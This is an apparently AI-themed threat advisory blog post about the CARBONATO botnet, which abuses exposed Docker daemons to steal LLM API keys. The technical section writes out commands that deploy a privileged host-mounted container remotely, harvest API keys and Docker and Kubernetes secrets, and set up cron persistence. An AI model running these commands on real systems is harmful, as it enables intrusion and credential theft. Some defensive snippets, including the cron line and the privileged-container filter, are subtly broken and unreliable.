AI-Powered CARBONATO Botnet Steals Credentials to Fund Its Own LLM Gateway
CARBONATO, a sophisticated Docker-based botnet discovered in October 2024, exploits exposed Docker daemons to deploy AI agents that autonomously steal API credentials and propagate across networks. The botnet uses stolen credentials to fund its own large language model (LLM) gateway, creating a self-sustaining attack infrastructure. Organizations must immediately audit Docker daemon exposure, enforce container registry authentication, implement network segmentation, and monitor for unauthorized API key usage to defend against this emerging threat.
Introduction
The cybersecurity landscape has witnessed a concerning evolution in autonomous malware capabilities. CARBONATO represents a new generation of threats that combine container exploitation, credential theft, and artificial intelligence to create self-funding, self-propagating attack infrastructure.
Unlike traditional botnets that rely on command-and-control servers, CARBONATO leverages stolen LLM API credentials to power its decision-making processes. This approach allows the botnet to maintain operational autonomy while funding its computational needs through compromised resources.
The botnet specifically targets misconfigured Docker environments, a common vulnerability in cloud-native deployments. Once established, it deploys AI agents capable of credential harvesting, lateral movement, and continuous network reconnaissance.
Background & Context
Docker daemons exposed to the internet without proper authentication have long been targets for cryptomining operations and container-based attacks. However, CARBONATO marks a significant departure from conventional Docker exploitation patterns.
The botnet emerged in October 2024 during a period of increased focus on AI security. As organizations rushed to integrate LLM capabilities into their infrastructure, many inadvertently exposed API keys through environment variables, configuration files, and container images.
Traditional botnet operations require attackers to maintain infrastructure costs for command servers, computational resources, and data exfiltration channels. CARBONATO solves this problem by stealing credentials for cloud services and LLM APIs, effectively making victims fund the attack against themselves.
The self-funding model represents a paradigm shift in threat economics. By monetizing stolen credentials immediately through LLM gateway operations, CARBONATO creates a sustainable attack ecosystem that can persist indefinitely without external funding.
Technical Breakdown
CARBONATO’s attack chain begins with scanning for Docker daemons exposed on port 2375 (unencrypted) and 2376 (TLS without authentication). The botnet identifies vulnerable hosts through Internet-wide scanning and targeted reconnaissance of cloud provider IP ranges.
Upon discovering an exposed daemon, CARBONATO deploys a malicious container with elevated privileges:
docker -H tcp://[target]:2375 run -d --privileged \
--network host --pid host \
-v /:/hostfs \
--name system-monitor \
carbonato/agent:latestThe container operates with host-level access through privilege escalation and volume mounting. This configuration allows complete filesystem access and the ability to manipulate host processes.
The deployed AI agent performs multi-stage credential harvesting:
grep -r "OPENAI_API_KEY\|ANTHROPIC_API_KEY\|AZURE_OPENAI" /hostfs/proc/*/environ
# Extract credentials from Docker configurations
cat /hostfs/root/.docker/config.json
# Parse Kubernetes secrets if present
kubectl get secrets --all-namespaces -o json
Stolen credentials are validated immediately through test API calls. Valid keys are registered with the botnet’s distributed LLM gateway infrastructure, which resells API access on underground forums or uses them for the botnet’s operational needs.
The AI agent uses LLM capabilities to analyze the compromised environment and determine optimal propagation strategies. It examines network topology, identifies adjacent Docker hosts, and crafts environment-specific payloads.
CARBONATO implements persistence through multiple mechanisms:
FROM alpine:latest
RUN apk add --no-cache docker-cli curl
COPY agent.sh /usr/local/bin/
RUN echo "0 /6 /usr/local/bin/agent.sh" | crontab -
CMD ["crond", "-f"]The botnet maintains redundancy by deploying multiple containers with different naming conventions designed to blend with legitimate infrastructure components.
Impact & Risk Assessment
The primary risk from CARBONATO extends beyond immediate credential theft. Organizations face multiple exposure scenarios that compound over time.
Financial Impact: Stolen LLM API credentials can generate substantial unauthorized charges. Enterprise API keys often have high rate limits, allowing attackers to rack up thousands of dollars in usage before detection. Organizations have reported API bills exceeding $50,000 from compromised credentials.
Data Exposure: AI agents with filesystem access can exfiltrate sensitive data, including source code, configuration files, customer databases, and intellectual property. The LLM capabilities allow intelligent data classification and prioritization of high-value targets.
Infrastructure Compromise: The privileged container access enables attackers to pivot to other systems, install additional malware, modify running services, and establish permanent backdoors. The botnet can use compromised infrastructure for secondary attacks.
Supply Chain Risk: Containers infected during build processes can propagate CARBONATO to downstream systems. Organizations pulling compromised images from public registries unknowingly deploy the botnet into their environments.
The self-sustaining nature of CARBONATO means infections can persist undetected for extended periods. Traditional indicators of compromise focused on command-and-control traffic may miss this threat entirely.
Vendor Response
Docker Inc. has released security advisories recommending immediate enforcement of TLS authentication for all daemon instances. The company emphasizes that exposed daemons without authentication represent a critical misconfiguration rather than a product vulnerability.
Cloud service providers including AWS, Google Cloud, and Azure have implemented enhanced monitoring for unusual Docker API activity patterns. These providers now alert customers when publicly accessible Docker daemons are detected in their environments.
OpenAI, Anthropic, and other LLM providers have strengthened their API key rotation capabilities and anomaly detection systems. Many now offer automatic rate limiting based on usage patterns and geographic origin of requests.
Container security vendors have updated their threat detection signatures to identify CARBONATO-specific behaviors. Runtime security platforms now flag containers with suspicious privilege escalations and credential access patterns.
Several registries have begun scanning for known CARBONATO container images and blocking their distribution. However, the botnet’s ability to generate polymorphic containers complicates signature-based detection.
Mitigations & Workarounds
Immediate actions to prevent CARBONATO infections:
Secure Docker Daemon Access:
# Verify Docker daemon is not exposed
netstat -tlnp | grep 2375
# Configure TLS authentication
dockerd --tlsverify \
--tlscacert=/etc/docker/ca.pem \
--tlscert=/etc/docker/server-cert.pem \
--tlskey=/etc/docker/server-key.pem \
-H=0.0.0.0:2376
Implement Network Segmentation: Isolate Docker hosts behind firewalls with strict access control lists. Limit daemon access to management networks only.
Credential Management:
# Rotate all LLM API keys
# Use secret management solutions
export OPENAI_API_KEY=$(vault kv get -field=key secret/openai)
# Avoid hardcoded credentials in images
docker build --secret id=apikey,src=./secret.txt
Container Runtime Security: Deploy security profiles that restrict container capabilities:
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
readOnlyRootFilesystem: trueRegistry Authentication: Enforce authentication on all container registries and implement image scanning in CI/CD pipelines.
Detection & Monitoring
Identify CARBONATO activity through comprehensive monitoring strategies:
Network Monitoring:
# Monitor for Docker daemon access from unusual sources
tcpdump -i any port 2375 or port 2376 -w docker-traffic.pcap
# Alert on new container deployments
docker events --filter 'event=create' --format '{{.Time}} {{.Actor.Attributes.name}}'
Behavioral Analytics: Establish baselines for normal container behavior and flag anomalies including unusual API calls, excessive credential file access, and unexpected network connections.
API Usage Monitoring: Track LLM API consumption patterns for sudden spikes, geographic anomalies, or usage during off-hours. Implement alerts for rate limit approaches.
File Integrity Monitoring:
# Monitor Docker configuration changes
auditctl -w /etc/docker/daemon.json -p wa
auditctl -w /root/.docker/config.json -p rContainer Inspection: Regularly audit running containers for suspicious characteristics:
# List privileged containers
docker ps --filter "label=privileged=true" --format "table {{.ID}}\t{{.Image}}\t{{.Status}}"
# Check for host volume mounts
docker inspect $(docker ps -q) | grep -A 10 "Mounts"
Implement SIEM correlation rules that combine multiple indicators: exposed daemon access followed by new container creation with privileged flags and subsequent API credential access.
Best Practices
Adopt a defense-in-depth approach to container security:
Principle of Least Privilege: Run containers with minimal required permissions. Avoid privileged mode unless absolutely necessary and document all exceptions.
Secret Management: Never embed credentials in container images or environment variables. Use dedicated secret management solutions like HashiCorp Vault, AWS Secrets Manager, or Kubernetes secrets with encryption at rest.
Image Provenance: Sign container images and verify signatures before deployment. Maintain private registries for production workloads.
Regular Audits: Conduct quarterly reviews of Docker daemon configurations, container deployment patterns, and API key usage. Rotate credentials on a defined schedule.
Security Training: Educate development teams on container security best practices and the risks of credential exposure in cloud-native environments.
Incident Response Planning: Develop playbooks specifically for container compromise scenarios. Practice response procedures through tabletop exercises.
Automated Compliance: Implement policy-as-code frameworks to enforce security standards:
# Open Policy Agent example
package docker.authz
deny[msg] {
input.Body.HostConfig.Privileged == true
msg := "Privileged containers are not allowed"
}Key Takeaways
CARBONATO demonstrates the convergence of traditional botnet tactics with AI capabilities and cloud-native exploitation techniques. The self-funding model through stolen credentials represents a sustainable threat that will likely inspire similar implementations.
Organizations must recognize that exposed Docker daemons constitute critical vulnerabilities requiring immediate remediation. The days of treating container security as optional have definitively ended.
The botnet’s autonomous operation powered by LLM capabilities showcases how attackers are leveraging the same AI technologies that organizations are adopting. This creates an arms race in AI-powered offensive and defensive capabilities.
Credential hygiene in cloud and container environments requires renewed focus. Traditional approaches to secret management fail in the face of attackers with filesystem access and AI-powered data analysis capabilities.
The incident underscores the importance of defense-in-depth strategies. No single control prevents CARBONATO infections; rather, layered security measures create sufficient friction to detect and contain threats before significant damage occurs.
References
- Docker Security Best Practices: https://docs.docker.com/engine/security/
- CIS Docker Benchmark: https://www.cisecurity.org/benchmark/docker
- NIST Container Security Guide: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf
- OpenAI API Security: https://platform.openai.com/docs/guides/safety-best-practices
- Cloud Native Security Whitepaper: https://www.cncf.io/wp-content/uploads/2022/06/CNCF_cloud-native-security-whitepaper-May2022-v2.pdf
Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/
